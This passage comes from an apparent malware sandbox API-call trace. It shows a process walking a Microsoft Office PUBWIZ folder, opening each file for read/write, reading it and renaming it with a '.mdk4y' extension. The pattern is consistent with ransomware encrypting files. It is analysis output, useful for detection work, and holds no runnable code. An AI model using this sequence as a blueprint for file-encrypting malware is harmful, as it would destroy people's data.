lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NEWS11.POCOC", lpUsedDefaultChar=0x37df4c) returned 10 [0250.800] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NEWS11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\news11.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0250.801] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832603100000) returned 1 [0250.801] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x87d24, lpOverlapped=0x0) returned 1 [0250.933] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832616300000) returned 1 [0250.934] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832616400000) returned 1 [0250.938] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NEWS11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\news11.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NEWS11.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\news11.poc.mdk4y")) returned 1 [0250.940] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0250.940] AreFileApisANSI () returned 1 [0250.940] GetACP () returned 0x4e4 [0250.940] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NEWS98.POC", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NEWS98.POC", lpUsedDefaultChar=0x37df4c) returned 10 [0250.940] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NEWS98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\news98.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0250.941] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832617100000) returned 1 [0250.941] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0251.119] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832634900000) returned 1 [0251.119] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832634900000) returned 1 [0251.128] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NEWS98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\news98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NEWS98.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\news98.poc.mdk4y")) returned 1 [0251.130] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0251.130] AreFileApisANSI () returned 1 [0251.130] GetACP () returned 0x4e4 [0251.130] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NEWSHM.POC", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NEWSHM.POC", lpUsedDefaultChar=0x37df4c) returned 10 [0251.136] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NEWSHM.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\newshm.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0251.137] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832636700000) returned 1 [0251.137] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5166c, lpOverlapped=0x0) returned 1 [0251.237] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832646700000) returned 1 [0251.237] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832646700000) returned 1 [0251.240] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NEWSHM.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\newshm.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NEWSHM.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\newshm.poc.mdk4y")) returned 1 [0251.243] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0251.243] AreFileApisANSI () returned 1 [0251.243] GetACP () returned 0x4e4 [0251.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ORIG98.POC", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ORIG98.POC", lpUsedDefaultChar=0x37df4c) returned 10 [0251.243] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ORIG98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\orig98.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0251.244] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832647400000) returned 1 [0251.244] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x82e, lpOverlapped=0x0) returned 1 [0251.256] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832648600000) returned 1 [0251.256] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832648600000) returned 1 [0251.256] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ORIG98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\orig98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ORIG98.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\orig98.poc.mdk4y")) returned 1 [0251.258] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0251.258] AreFileApisANSI () returned 1 [0251.258] GetACP () returned 0x4e4 [0251.258] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PICCAP98.POC", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PICCAP98.POC", lpUsedDefaultChar=0x37df4c) returned 12 [0251.258] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PICCAP98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\piccap98.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0251.259] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832648900000) returned 1 [0251.259] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4eba, lpOverlapped=0x0) returned 1 [0251.819] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832704900000) returned 1 [0251.819] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832704900000) returned 1 [0251.819] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PICCAP98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\piccap98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PICCAP98.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\piccap98.poc.mdk4y")) returned 1 [0251.821] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0251.821] AreFileApisANSI () returned 1 [0251.821] GetACP () returned 0x4e4 [0251.821] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PICSTYLES.DPV", cchWideChar=13, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PICSTYLES.DPV", lpUsedDefaultChar=0x37df4c) returned 13 [0251.821] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PICSTYLES.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\picstyles.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0251.822] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832705200000) returned 1 [0251.822] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1eac0, lpOverlapped=0x0) returned 1 [0251.824] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832705400000) returned 1 [0251.824] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832705400000) returned 1 [0251.825] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PICSTYLES.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\picstyles.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PICSTYLES.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\picstyles.dpv.mdk4y")) returned 1 [0251.826] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0251.826] AreFileApisANSI () returned 1 [0251.826] GetACP () returned 0x4e4 [0251.826] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PICTPH.POC", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PICTPH.POCDPV", lpUsedDefaultChar=0x37df4c) returned 10 [0251.826] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PICTPH.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\pictph.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0251.827] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832705700000) returned 1 [0251.827] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x334, lpOverlapped=0x0) returned 1 [0251.829] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832705900000) returned 1 [0251.829] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832705900000) returned 1 [0251.829] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PICTPH.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\pictph.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PICTPH.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\pictph.poc.mdk4y")) returned 1 [0251.830] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0251.830] AreFileApisANSI () returned 1 [0251.830] GetACP () returned 0x4e4 [0251.830] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PNCTUATE.POC", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PNCTUATE.POCV", lpUsedDefaultChar=0x37df4c) returned 12 [0251.830] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PNCTUATE.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\pnctuate.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0251.831] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832706100000) returned 1 [0251.831] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1722, lpOverlapped=0x0) returned 1 [0251.878] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832710800000) returned 1 [0251.878] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832710800000) returned 1 [0251.878] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PNCTUATE.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\pnctuate.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PNCTUATE.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\pnctuate.poc.mdk4y")) returned 1 [0251.881] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0251.881] AreFileApisANSI () returned 1 [0251.881] GetACP () returned 0x4e4 [0251.881] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="POST98SP.POC", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="POST98SP.POC", lpUsedDefaultChar=0x37df4c) returned 12 [0251.881] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\POST98SP.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\post98sp.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0251.882] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832711200000) returned 1 [0251.882] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb9b0, lpOverlapped=0x0) returned 1 [0251.951] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832718100000) returned 1 [0251.951] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832718100000) returned 1 [0251.952] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\POST98SP.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\post98sp.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\POST98SP.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\post98sp.poc.mdk4y")) returned 1 [0251.956] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0251.956] AreFileApisANSI () returned 1 [0251.956] GetACP () returned 0x4e4 [0251.956] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="POSTCARD.DPV", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="POSTCARD.DPV", lpUsedDefaultChar=0x37df4c) returned 12 [0251.956] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\POSTCARD.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\postcard.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0251.957] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832718700000) returned 1 [0251.957] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa194b, lpOverlapped=0x0) returned 1 [0252.176] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832740600000) returned 1 [0252.176] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832740600000) returned 1 [0252.181] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\POSTCARD.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\postcard.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\POSTCARD.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\postcard.dpv.mdk4y")) returned 1 [0252.184] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0252.184] AreFileApisANSI () returned 1 [0252.184] GetACP () returned 0x4e4 [0252.184] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="POSTCARD.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="POSTCARD.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0252.185] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\POSTCARD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\postcard.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0252.185] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832741500000) returned 1 [0252.185] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9a98, lpOverlapped=0x0) returned 1 [0252.187] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832741700000) returned 1 [0252.187] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832741700000) returned 1 [0252.187] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\POSTCARD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\postcard.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\POSTCARD.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\postcard.xml.mdk4y")) returned 1 [0252.189] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0252.189] AreFileApisANSI () returned 1 [0252.189] GetACP () returned 0x4e4 [0252.189] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="POSTCD11.POC", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="POSTCD11.POC", lpUsedDefaultChar=0x37df4c) returned 12 [0252.189] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\POSTCD11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\postcd11.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0252.190] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832742000000) returned 1 [0252.190] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2407a, lpOverlapped=0x0) returned 1 [0252.203] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832743300000) returned 1 [0252.203] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832743300000) returned 1 [0252.206] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\POSTCD11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\postcd11.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\POSTCD11.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\postcd11.poc.mdk4y")) returned 1 [0252.209] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0252.209] AreFileApisANSI () returned 1 [0252.209] GetACP () returned 0x4e4 [0252.209] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="POSTCD98.POC", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="POSTCD98.POC", lpUsedDefaultChar=0x37df4c) returned 12 [0252.210] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\POSTCD98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\postcd98.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0252.211] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832744100000) returned 1 [0252.211] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa84e8, lpOverlapped=0x0) returned 1 [0252.288] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832751800000) returned 1 [0252.288] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832751800000) returned 1 [0252.295] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\POSTCD98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\postcd98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\POSTCD98.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\postcd98.poc.mdk4y")) returned 1 [0252.297] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0252.297] AreFileApisANSI () returned 1 [0252.297] GetACP () returned 0x4e4 [0252.297] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PROG98.POC", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PROG98.POCOC", lpUsedDefaultChar=0x37df4c) returned 10 [0252.297] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PROG98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\prog98.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0252.299] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832752900000) returned 1 [0252.299] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xaf86, lpOverlapped=0x0) returned 1 [0252.300] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832753000000) returned 1 [0252.300] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832753000000) returned 1 [0252.301] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PROG98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\prog98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PROG98.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\prog98.poc.mdk4y")) returned 1 [0252.303] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0252.303] AreFileApisANSI () returned 1 [0252.303] GetACP () returned 0x4e4 [0252.303] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PROGRAM.DPV", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PROGRAM.DPVC", lpUsedDefaultChar=0x37df4c) returned 11 [0252.303] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PROGRAM.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\program.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0252.304] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832753400000) returned 1 [0252.304] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, 